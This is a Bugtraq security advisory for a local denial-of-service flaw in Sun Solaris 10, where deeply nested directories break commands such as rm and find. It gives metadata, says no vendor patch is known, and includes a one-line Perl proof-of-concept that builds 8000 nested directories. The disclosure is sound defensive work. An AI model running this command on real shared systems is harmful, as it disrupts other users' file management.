Sun Solaris Nested Directory Tree Local Denial of Service Vulnerability

Bugtraq ID:	40319
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	No
Local:	Yes
Published:	May 21 2010 12:00AM
Updated:	May 21 2010 12:00AM
Credit:	Maksymilian Arciemowicz
Vulnerable:	Sun Solaris 10_x86 Sun Solaris 10_sparc
Not Vulnerable:

Sun Solaris Nested Directory Tree Local Denial of Service Vulnerability

Sun Solaris is prone to a local denial-of-service vulnerability.

Exploiting this issue allows local users to cause denial-of-service conditions in certain filesystem commands.

Sun Solaris 10 is affected, other versions may also be vulnerable.

Sun Solaris Nested Directory Tree Local Denial of Service Vulnerability

The following command will create a nested directory sufficient to demonstrate this issue:

perl -e '$a="X";for(1..8000){ ! -d $a and mkdir $a and chdir $a }'

Sun Solaris Nested Directory Tree Local Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Sun Solaris Nested Directory Tree Local Denial of Service Vulnerability

References:

• Sun Solaris 10 filesystem rm(1),find(1),etc, Denial-of-service (Maksymilian Arciemowicz)
  
• Sun Solaris Home Page (Sun Microsystems)